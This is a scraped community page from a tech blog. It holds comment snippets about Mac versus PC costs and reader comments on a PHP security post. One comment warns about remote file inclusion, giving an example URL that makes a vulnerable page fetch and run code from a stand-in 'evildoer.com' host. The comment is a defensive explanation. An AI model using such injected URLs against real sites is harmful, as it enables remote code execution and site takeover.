Community Page
- technosailor.com Jump to website »
-
Subscribe -
Community
-
Top Commenters
-
Popular Threads
-
Recent Comments
- Interesting article and comments. A couple of things to consider: 1. Open Office 3.0 for the Mac or Google Docs 2. The faster startup (boot and hibernating) and lack of crashing OS can really...
- I really like the approach you've taken into prove the price specifications, cause at the end of the day, it is a yesterdays fact, that Mac is more expensive than PC, nevertheless you have...
- I didn't know you were a fanboy. When did that happen?
- You can create PDFs with a little program called PDF Converter 5 Pro from Buy.com for $99. Throw in a copy of OpenOffice software and the Dell is cheaper than the Apple. I don't buy it.
- Totally agree that many companies should not consider the Apple solution. That said, most 'no' answers are based on the pricepoint of hardware and in many cases, the TCO is actually cheaper...
Jump to original thread »
Comments are closed for this post.
No excerpt available. Jump to website »
4 years ago
Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don't know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.
And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).
Matt
4 years ago
Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)
Leave a Comment
3 years ago
I've seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:
And then they run it with something like "http://www.example.com/index.php?page=page5.html".
All it takes is someone to come along and type "http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt", and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.
Moral: allow_url_fopen should *always* be off unless you need it.
Rob